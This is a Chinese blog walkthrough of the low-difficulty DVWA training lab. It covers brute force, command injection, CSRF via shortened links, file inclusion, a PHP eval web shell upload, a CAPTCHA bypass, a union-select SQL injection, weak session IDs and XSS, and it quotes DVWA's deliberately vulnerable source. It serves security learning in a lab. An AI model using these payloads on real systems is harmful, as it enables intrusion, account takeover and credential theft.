dvwa初见low难度

搭建dvwa靶场

打开小皮开启mysql和apache后打开网站根目录将下好的dvwa移动到根目录

打开dvwa/config将config.inc.php.bak后缀.bak删去变为php文件,打开

 ​​​​​​

根据数据库用户与密码修改内容 

并更改 

 再找到phpStudy_64\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

搜索allow-url-include将其改为On)以后传文件有用

 准备工作完毕

切记php文件保存,修改后文件内容与显示内容不一致且关闭后再打开也为不一致内容

打开网址,访问/dvwa进入靶场

 因为之前配置过数据库我这里就直接跳到登录界面了

如果是第一次打开:

 找到reset detabase就行

账号密码默认为admin/password

进入靶场

 Brute Force

非常简单的爆破题,爆破admin的密码

1,网上找个字典top1000就够用

2,账号admin,密码随意,打开Burp抓包,传intruder

clear

 将url中的密码选中点击add

 进payloads

导入字典,点击右上start attack开始爆破

发现当密码为password时输出异常,查看通过

 Command Injection

传ip

可行,用&&试试ipconfig

可行

csrf

就是恶意链接,利用其他设备上的权限通过访问url的形式,让被攻击者在不知觉间“攻击自己”

看眼源码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $current_user = dvwaCurrentUser();
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

相同时更改密码)确认更改密码?

假设要把密码改为123

构造url发现只能骗憨批

短链一下

更具欺骗性,加上什么小网站的广告就可以人别人的密码改变dddd

File Inclusion

看源码

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

改page传参即可

比如说有个1.php的文件

通过对page传参

可完成访问

如果有2.php

<?php
phpinfo();
?>

 File Upload 

一句话木马

<?php
@eval($_POST[value]);
?>

上传 

 打开根目录看一眼

上传成功 ,连接蚁剑

成功

Insecure CAPTCHA (不安全验证码)

让我们改密码

我改123

不行 ,抓个包,ctrl+r

看一眼源代码

<?php

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer(
        $_DVWA[ 'recaptcha_private_key'],
        $_POST['g-recaptcha-response']
    );

    // Did the CAPTCHA fail?
    if( !$resp ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            // Show next stage for the user
            echo "
                <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
                <form action=\"#\" method=\"POST\">
                    <input type=\"hidden\" name=\"step\" value=\"2\" />
                    <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
                    <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
                    <input type=\"submit\" name=\"Change\" value=\"Change\" />
                </form>";
        }
        else {
            // Both new passwords do not match.
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }
}

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check to see if both password match
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the end user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with the passwords matching
        echo "<pre>Passwords did not match.</pre>";
        $hide_form = false;
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

 发现把step改为2就可以跳过验证码验证

post 成功

  SQL Injection

确认存在注入问题

查询 

 查询表名)靶场配置问题访问有问题不做演示,要用phpMyAdmin更改排序规则,但依然不起作用

 获取表名为user后,获取对应密码/flag

1' union select user,password from users#

 SQL Injection (Blind)(盲注)

因为只会回显是或非,所以有点类似于盲人摸象

比如说我XYpangSJ你不认识我

你问我我第一个字母是X吗?

我说是的

你再问第二个是Y吗

是的

。。。。以此类推最后你猜出了我名字

换到数据库,顺序变为数据库>>表>>数据一层层确定(超累人)

 麻烦的一批纯纯的手艺活,上次isctf搞出ptsd了

于是就有了sqlmap 但是我还不会回头再看看

Weak Session IDs(弱会话)

通过修改cookie来绕过登录界面

查看源码


<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

发现每post一次session++

我们可以获取之前的cookie

访问url并改包session+1发包后绕过密码登录

DOM Based Cross Site Scripting (XSS)

xss:

DOM:

 eg:

写入并直接执行命令(html语言) 

 

Reflected Cross Site Scripting (XSS) 

非常清纯的源码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

 那就狠狠的注入

注入成功

Stored Cross Site Scripting (XSS)

存储型xss

发布内容123/123

基础玩法

其他玩法 从name动手(改包)

 发包

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值